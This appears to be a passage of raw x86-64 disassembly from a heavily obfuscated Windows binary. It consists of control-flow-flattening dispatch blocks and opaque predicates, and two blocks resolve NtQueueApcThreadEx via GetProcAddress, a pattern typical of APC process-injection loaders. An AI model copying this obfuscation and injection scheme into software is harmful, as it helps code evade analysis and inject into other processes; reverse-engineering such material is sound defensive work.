and eax, ebp
and ecx, ebx
or ecx, eax
xor ebp, ecx
test ebp, ecx
setne al
sete r9b
cmp edx, 0xa
setl cl
cmp edx, 9
setg r8b
xor al, r9b
and al, r9b
mov edx, r8d
xor dl, al
not dl
and dl, al
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
or bl, r9b
xor cl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3c872614
mov ebp, 0x5867b6ee
cmovne edx, ebp
test cl, 1
mov ecx, 0x3c872614
jmp 0x140140c51
cmp ecx, 0xddd8dfe9
jg 0x140138ea6
cmp ecx, 0xdd268fc3
je 0x14013c01b
cmp ecx, 0xdd359510
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rcx - 1]
imul esi, ecx
mov edx, esi
not edx
mov ecx, esi
or ecx, 0x7ab6eaa1
mov ebp, ecx
not ebp
mov edi, edx
or edi, 0x8549155e
mov ebx, edi
not ebx
and ecx, 0x61967c1f
and ebp, 0x84490140
or ebp, ecx
and edi, 0x61967c1f
and ebx, 0x1a2082a0
or ebx, edi
xor ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0x42c2f702
and ebx, 0xbd3d08fd
or ebx, ecx
mov ebp, ebx
xor ebp, 0x8101900
xor ebx, 0xc0822208
and ebx, 0xf0e626aa
and ebp, 0xf19d955
or ebp, ebx
mov ecx, ebp
xor ecx, 0xd105854
and edx, 0x6b544e28
and esi, 0x94abb1d7
or esi, edx
mov edx, esi
xor edx, 0x14a010d6
xor ebp, 0xf0e626aa
xor esi, 0x6b544e28
mov ebx, ebp
and ebx, 0xa20fa301
and ecx, 0x5df05cfe
or ecx, ebx
or ebp, esi
and esi, 0xa20fa301
and edx, 0x5df05cfe
or edx, esi
xor edx, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
xor bl, 1
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, bl
mov ecx, eax
xor cl, 1
and cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2700c3d7
mov ebp, 0x41cb80ba
cmovne edx, ebp
test al, 1
mov eax, edx
cmovne eax, ebp
jmp 0x14013ac54
cmp ecx, 0x2f771835
jg 0x14013904e
cmp ecx, 0x2f4e6e64
je 0x14013c1d6
cmp ecx, 0x2f515845
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov ecx, esi
or ecx, 0xf6cf51b8
mov edi, ecx
not edi
mov ebp, ebx
or ebp, 0x930ae47
mov edx, ebp
not edx
and ecx, 0xd7df0bc7
and edi, 0x820a400
or edi, ecx
and ebp, 0xd7df0bc7
and edx, 0x20005038
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xf6cf51b9
and edx, 0x930ae46
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb5227420
and edx, 0x4add8bdf
or edx, ecx
mov ecx, edx
xor ecx, 0x88981da
and ebx, 0x79691e64
and esi, 0x8696e19b
or esi, ebx
mov ebx, esi
xor ebx, 0x8482e19a
xor edx, 0xb5227420
xor esi, 0x79691e64
mov ebp, edx
and ebp, 0x72740e05
and ecx, 0x8d8bf1fa
or ecx, ebp
or edx, esi
and esi, 0x72740e05
and ebx, 0x8d8bf1fa
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne r9b
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov edx, ebx
xor dl, cl
and dl, bl
mov eax, edx
xor al, 1
and al, r8b
and dl, r9b
or dl, al
and r9b, bl
or bl, r8b
and cl, r8b
or cl, r9b
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
not bl
mov eax, edx
xor al, 1
and bl, al
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc66ee63a
mov ebp, 0xfc36eedf
cmovne ecx, ebp
test al, 1
mov eax, 0xc66ee63a
cmovne eax, ecx
test dl, dl
jmp 0x14013281c
cmp ecx, 0x76797f2f
jg 0x1401391b0
cmp ecx, 0x75907678
je 0x14013c2ca
cmp ecx, 0x75e1be91
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf4985563
and edx, ecx
and ecx, 0xb67aa9c
or ecx, ebp
xor ecx, 0xb67aa9c
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x83a81cae
mov edx, ecx
and edx, 0x7c57e351
or edx, ebp
mov ebp, edx
xor ebp, 0x7c57e351
mov ebx, edx
xor ebx, 0xd6bfe70
and ebx, ebp
and ecx, 0x713c1d21
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xc52b31c4
and ecx, 0x3ad4ce3b
or ecx, ebx
xor ecx, 0xb4172ce4
and ebp, 1
xor edx, 0x7c57e350
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xd9a1de31
and edx, 0x265e21ce
or edx, ebp
xor edx, 0x265e21ce
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xa410a088
and edx, 0x11841020
or edx, ecx
mov ebx, edx
xor ebx, 0x1840000
xor edx, 0xa8594c42
or ebp, 0xb594b0a8
mov ecx, ebp
not ecx
and edx, 0xb8595c62
and ebx, 0x584a088
or ebx, edx
and ebp, 0xb8595c62
and ecx, 0x42220315
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x1596c0f6
and ecx, 0xea693f09
or ecx, edx
xor ecx, 0x5ffd8fa1
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
or al, dl
xor bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, 1
xor cl, 1
mov eax, ecx
or al, bl
xor cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x73e9c2d
mov ebp, 0xf684d899
cmovne ecx, ebp
test al, 1
mov eax, 0x73e9c2d
jmp 0x14013ee27
cmp ecx, 0xc027a91a
jg 0x1401392ce
cmp ecx, 0xbb8e8b4d
je 0x14013c2e0
cmp ecx, 0xbcc79b79
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x15cec794
mov ecx, ebp
and ecx, 0xea31386b
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20000801
xor ecx, 0x15008300
mov edx, ebp
xor edx, 0xb5019b21
and edx, ebp
or ecx, 0x4afe64de
mov esi, edx
not esi
mov eax, ecx
and eax, 0xd62ff7be
and ebx, 0x21000801
or ebx, eax
or ecx, esi
and esi, 0xd62ff7be
and edx, 0x29d00841
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5d59e4a7
and ecx, 0xa2a61b58
or ecx, eax
mov eax, ecx
xor eax, 0x10030018
xor ecx, 0x8187484
and ecx, 0xfbcf4e4
and eax, 0xf0430b1b
or eax, ecx
xor eax, 0xf0430b1b
and edi, 0x84e7d000
and ebp, 0x7b182fff
or ebp, edi
xor ebp, 0x7b182fff
mov ecx, eax
and ecx, ebp
xor ebp, eax
or ebp, ecx
cmp ebp, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r11b
mov ebx, r11d
xor bl, cl
and bl, r11b
mov r8d, r10d
xor r8b, r9b
and r8b, r10b
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov esi, edx
and sil, bl
xor dl, bl
or dl, sil
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r8d
xor dl, 1
and dl, al
xor al, 1
and al, r8b
or dl, al
and r9b, r11b
or r11b, r10b
xor r11b, 1
and cl, r10b
or cl, r9b
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
xor dl, 1
mov eax, edx
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xf5d2631
mov ecx, 0x6812484b
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0xf5d2631
jmp 0x14013ab10
cmp ecx, 0xa3bf521
jg 0x1401392fc
cmp ecx, 0x73e9c2d
je 0x14013c3d6
cmp ecx, 0x79c7b1b
jne 0x140132830
mov ecx, 0x6394aa3c
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x1683ff6e
jg 0x140139494
cmp ecx, 0x14ec190c
je 0x14013c4e1
cmp ecx, 0x15d5ad2a
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x4898dce4
and edx, ecx
and ecx, 0xb767231b
or ecx, ebp
xor ecx, 0xb767231b
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x85b6380f
mov edx, ecx
and edx, 0x7a49c7f0
or edx, ebp
mov ebp, edx
xor ebp, 0x7a49c7f0
mov ebx, edx
xor ebx, 0xba848ec8
and ebx, ebp
and ecx, 0xc0cd4938
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x65d69fe6
and ecx, 0x9a296019
or ecx, ebx
mov ebx, ecx
xor ebx, 0x108844f
and ebp, 1
xor edx, 0x7a49c7f1
or edx, ebp
mov ebp, edx
not ebp
xor ecx, 0x5ae42920
mov edi, ecx
and edi, 0xfcb373b0
and ebx, 0x34c8c4f
or ebx, edi
or ecx, edx
and edx, 0xfcb373b0
and ebp, 0x34c8c4f
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xfbbe76a8
and ecx, 0x4418957
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4418957
and ecx, 0xfbbe76a8
or ecx, edx
mov edx, ecx
not edx
and edx, 0xdc8db31d
and ecx, 0x23724ce2
or ecx, edx
mov edx, ecx
xor edx, 0x21220c02
xor ecx, 0xc81b30c
and ecx, 0xed1f3ec
and edx, 0xf12e0c13
or edx, ecx
mov ecx, edx
xor ecx, 0xcd1f1ac
xor edx, 0xf1260000
and edx, 0xf3260240
and ecx, 0xcd9fdbf
or ecx, edx
xor ecx, 0xcd9fdbf
sete r8b
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
xor dl, bl
mov eax, r8d
xor al, r9b
or r9b, r8b
xor r9b, 1
or r9b, dl
mov edx, r9d
not dl
and al, r8b
or bl, r8b
xor bl, 1
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
mov ecx, ebx
xor cl, 1
and dl, r9b
mov eax, ebx
and al, cl
xor dl, 1
mov r8d, edx
xor r8b, r9b
or dl, r9b
xor dl, 1
or dl, r8b
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x638920bd
mov ebp, 0x7d3a6793
cmovne ecx, ebp
test al, 1
mov r13d, 0x7d3a6793
cmove ecx, ebp
test dl, 1
mov eax, 0x638920bd
jmp 0x140140dec
cmp ecx, 0x2700c3d6
jg 0x1401395fa
cmp ecx, 0x2192ab4f
je 0x14013c4f7
cmp ecx, 0x228f942c
jne 0x140132830
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
mov ebp, eax
and ebp, 1
or ebp, edx
and ecx, 0xb18c0f96
and eax, 0x4e73f069
or eax, ecx
mov ecx, eax
xor ecx, 0x4423c028
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xb5833c1
and ebp, 0xf4a7cc3e
or ebp, ebx
xor eax, 0x1080380
and eax, 0xb5833c1
and ecx, 0xf4a7cc3e
or ecx, eax
xor ecx, ebp
xor edx, ecx
test edx, ecx
sete al
setne dl
cmp dword [0x1402656e4], 0xa
setl cl
xor dl, cl
and dl, cl
xor al, cl
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
mov ebp, 0xf521125f
mov ecx, 0xe9a91de6
cmovne ebp, ecx
test al, al
mov ecx, ebp
mov eax, 0xf521125f
jmp 0x14013a0b2
cmp ecx, 0x41cb80b9
jg 0x140139628
cmp ecx, 0x409d5486
je 0x14013c5e4
cmp ecx, 0x413e2e51
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xf39e6062
mov edx, edi
and edx, 0xc619f9c
or edx, ebp
mov ebp, edx
xor ebp, 0x440169c
xor edx, 0x10a2062
mov ebx, edi
or ebx, 0x92ba962
and edx, 0x92ba962
and ebp, 0xf6d4569c
or ebp, edx
and ebx, 0x92ba963
xor ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x73dc21fa
and ebx, 0x8c23de05
or ebx, edx
and edi, 0x73dc21fa
and ecx, 0x8c23de05
or ecx, edi
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
or bl, dl
xor bl, 1
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, cl
or al, cl
xor cl, bl
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xdd268fc3
mov ebp, 0x17cab8be
cmovne eax, ebp
test dl, 1
cmovne eax, ebp
not cl
test cl, 1
mov ecx, 0xdd268fc3
jmp 0x14013281c
cmp ecx, 0x869bfd87
jg 0x1401396ec
cmp ecx, 0x8234194d
je 0x14013c5fa
cmp ecx, 0x82daa19e
jne 0x140132830
jmp 0x14013275d
cmp ecx, 0xcb55a45d
jg 0x14013971a
cmp ecx, 0xcac28fc9
je 0x14013c782
cmp ecx, 0xcb554182
jne 0x140132830
mov ecx, 0x8c6f8b12
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x638920bc
jg 0x140139748
cmp ecx, 0x62f15119
je 0x14013c861
cmp ecx, 0x63624ae8
jne 0x140132830
mov ecx, 0x71f6c7ed
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xafa752bb
jg 0x1401398cc
cmp ecx, 0xab0ed83d
je 0x14013ca39
cmp ecx, 0xae9c2b9a
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xc5863cda
mov edx, ebp
xor edx, 0xc5863cda
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x3a79c324
and edx, 0xc5863cdb
or edx, ebx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x9adda162
and edx, 0x65225e9d
or edx, edi
and ebp, 0x9adda162
and ecx, 0x65225e9d
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete r9b
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
mov ebx, eax
xor bl, dl
or bl, cl
mov r10d, ebx
not r10b
xor al, r9b
not al
and al, r9b
xor dl, r8b
not dl
and dl, r8b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and dl, bl
or bl, al
and al, r10b
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x4ca1f793
mov edx, 0x5c5db711
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0x4ca1f793
cmovne eax, edx
test bl, bl
jmp 0x14013f446
cmp ecx, 0xeed8a073
jg 0x1401398fa
cmp ecx, 0xedd1c52f
je 0x14013ca4f
cmp ecx, 0xee2b8d15
jne 0x140132830
mov ecx, 0x58000016
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x20a1c020
jg 0x140139928
cmp ecx, 0x2003c725
je 0x14013cb64
cmp ecx, 0x2063506d
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xecb867ac
mov ebx, ecx
and ebx, 0x13479852
or ebx, edx
mov edx, ebx
xor edx, 0x11411842
xor ebx, 0x2c2064a8
or ecx, 0x2e26e4b8
and ebx, 0x2e26e4b8
and edx, 0xd1d91b46
or edx, ebx
and ecx, 0x2e26e4b9
xor ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x41bd5080
and ecx, 0xbe42af7f
or ecx, edx
xor ecx, 0xbe42af7f
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or dl, al
mov r8d, edx
xor r8b, 1
or cl, bl
xor cl, 1
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x8c3d9d75
mov ebp, 0x6394aa3c
cmovne ecx, ebp
test dl, 1
cmovne ecx, r12d
jmp 0x14013de1d
cmp ecx, 0x3b20c156
jg 0x140139ab5
cmp ecx, 0x37edb246
je 0x14013cb86
cmp ecx, 0x3ad0b10f
jne 0x140132830
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xe6c09f8a
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x52af25c2
jg 0x140139ae3
cmp ecx, 0x4e0ee0d6
je 0x14013ccd4
cmp ecx, 0x4e7bda73
jne 0x140132830
mov rsi, qword [rsp + 0x38]
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x9c6b14ee
and edx, ebx
and ebx, 0x6394eb11
or ebx, ebp
xor ebx, 0x6394eb11
mov ebp, ebx
and ebp, edx
xor ebx, edx
or ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
or edx, 1
mov edi, edx
not edi
and ebp, 0x79f36454
and ebx, 0x860c9bab
or ebx, ebp
mov ebp, edx
and ebp, 0x9d5d0457
and edi, 0x62a2fba8
or edi, ebp
mov ebp, ebx
xor ebp, 0x2009ba8
xor ebx, 0x79f36455
or edx, ebx
and ebx, 0x9d5d0457
and ebp, 0x62a2fba8
or ebp, ebx
xor ebp, edi
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x536f0fc1
and edx, 0xac90f03e
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x2d897dd2
and edx, 0xd276822d
or edx, ebp
mov ebp, edx
xor ebp, 0x81090020
xor edx, 0x20e22003
and edx, 0x20f2adcf
and ebp, 0xdf0d5230
or ebp, edx
mov edx, ebp
xor edx, 0x98004230
xor ebp, 0x82a1ce
and ebp, 0x478fb1ce
and edx, 0xb8704e31
or edx, ebp
xor edx, 0x478fb1ce
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, ecx
xor dl, bl
and dl, cl
xor dl, 1
mov ecx, edx
xor cl, al
not cl
and cl, al
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov edx, ebx
and dl, r8b
xor bl, r8b
or dl, bl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor cl, 1
mov eax, ecx
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x5c756c39
mov ebp, 0x2003c725
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x5c756c39
cmovne ecx, ebp
mov qword [0x1402650a0], rsi
jmp 0x14013cdde
cmp ecx, 0x978d8b99
jg 0x140139c6c
cmp ecx, 0x946090ba
je 0x14013cde5
cmp ecx, 0x9471f86d
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xc91502a9
and edx, ebp
not ebp
and ebp, 0x91400a8
and ecx, 0xc0010201
or ecx, ebp
xor ecx, 0xc0010201
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x36eafd56
and edx, 0xc91502a9
or edx, ecx
mov ebp, edx
not ebp
mov edi, ebp
or edi, 1
mov ebx, edi
not ebx
and ebp, 0x5ce7b50a
and edx, 0xa3184af5
or edx, ebp
mov ebp, edx
xor ebp, 0x3104a34
xor edx, 0x5ce7b50b
mov ecx, edi
and ecx, 0xf0ce04c8
and ebx, 0xf31fb36
or ebx, ecx
or edi, edx
and edx, 0xf0ce04c8
and ebp, 0xf31fb37
or ebp, edx
xor ebp, ebx
not edi
or edi, ebp
mov edx, edi
mov ecx, edi
xor ecx, 0x9eb6d08e
and ecx, edi
not edi
and edi, 0xa148084
and edx, 0x94a2500a
or edx, edi
xor edx, 0x94a2500a
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x2c0e3c51
and ecx, 0xd3f1c3ae
or ecx, edx
mov edx, ecx
xor edx, 0x11200
xor ecx, 0x92188c88
and ecx, 0xdf5e8da8
and edx, 0x20a17257
or edx, ecx
mov ecx, edx
xor ecx, 0x20a00252
xor edx, 0x50040188
and edx, 0x5005718d
and ecx, 0xaffa8e72
or ecx, edx
mov edx, ecx
xor edx, 0x5004010c
xor ecx, 0x8ba8852
and ecx, 0x8bbf8d3
and edx, 0xf744072c
or edx, ecx
xor edx, 0xf744072c
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
xor al, 1
or bl, r8b
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xa4eab6ba
mov edx, 0x6a0bac6c
cmovne eax, edx
test bl, 1
mov edx, 0xa4eab6ba
cmovne edx, eax
jmp 0x14013ebcf
cmp ecx, 0xdb503061
jg 0x140139e5f
cmp ecx, 0xda518ada
je 0x14013cfbe
cmp ecx, 0xda695de5
jne 0x140132830
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x1402656e8]
mov r9d, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xe22ff98b
mov edx, ebp
and edx, 0x1dd00674
or edx, ebx
mov ebx, edx
xor ebx, 0x20
xor edx, 0x402fb90a
mov ecx, ebp
xor ecx, 0x482fbf7e
and ecx, ebp
or edx, 0xb7d04081
mov esi, ecx
not esi
mov eax, edx
and eax, 0xb977d65d
and ebx, 0x40082922
or ebx, eax
or edx, esi
and esi, 0xb977d65d
and ecx, 0x468829a2
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xb7d04080
and edx, 0x482fbf7f
or edx, eax
not edx
and edi, 0xca56632e
and ebp, 0x35a99cd1
or ebp, edi
xor ebp, 0x35a99cd1
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x3c6531a3
and ebp, 0xc39ace5c
or ebp, eax
xor ebp, 0xc39ace5c
setne r10b
sete r8b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg bl
mov ecx, ebx
xor cl, r11b
and cl, bl
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
mov r9d, eax
and r9b, cl
xor al, cl
or al, r9b
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, r8d
or cl, al
xor al, 1
xor cl, 1
or al, r10b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and r10b, r11b
or r11b, r8b
xor r11b, 1
and bl, r8b
or bl, r10b
mov ecx, r11d
and cl, bl
xor bl, r11b
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0xba4497cc
mov edx, 0x66b0ce97
cmovne ecx, edx
test bl, 1
mov ebp, 0xba4497cc
cmovne ecx, ebp
jmp 0x140140c54
cmp ecx, 0x73c682de
jg 0x140139f4b
cmp ecx, 0x71bfdc97
je 0x14013d0e1
cmp ecx, 0x71f6c7ed
jne 0x140132830
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xd4c8071c
mov ebx, eax
and ebx, 0x2b37f8e2
or ebx, edx
xor ebx, 0x2b37f8e2
and eax, 1
or eax, ebx
mov edx, eax
not edx
and edx, 0x1192338e
and eax, 0xee6dcc71
or eax, edx
xor eax, 0xee6dcc71
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r8b
mov edx, r10d
xor dl, r9b
and dl, r10b
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, r8b
mov r11d, edx
xor r11b, 1
mov ebx, eax
xor bl, r10b
and bl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, r11b
xor cl, 1
mov ebx, ecx
xor bl, r11b
or cl, r11b
xor cl, 1
or cl, bl
xor cl, al
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf0161f06
mov ebp, 0x63624ae8
cmovne edx, ebp
test al, 1
mov eax, 0xf0161f06
jmp 0x14013ac51
cmp ecx, 0xbb49f672
jg 0x140139f79
cmp ecx, 0xba4497cc
je 0x14013d1d6
cmp ecx, 0xba9664ed
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2df9f94
and ebp, 0xfd20606b
or ebp, edi
or ecx, ebx
and ebx, 0x2df9f94
and edx, 0xfd20606b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov ebx, ecx
or ebx, 0x5f02877f
mov edi, ebx
not edi
mov ebp, esi
or ebp, 0xa0fd7880
mov edx, ebp
not edx
and ebx, 0x5d67fcab
and edi, 0xa0980000
or edi, ebx
and ebp, 0x5d67fcab
and edx, 0x2000354
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x5f02877e
and edx, 0xa0fd7881
or edx, ebp
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
mov ebp, ecx
not ebp
and ebp, 0xe24f05db
and ecx, 0x1db0fa24
or ecx, ebp
xor ecx, 0x1db0fa24
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1b36978a
and ebp, 0xe4c96875
or ebp, edi
or ecx, ebx
and ebx, 0x1b36978a
and edx, 0xe4c96875
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
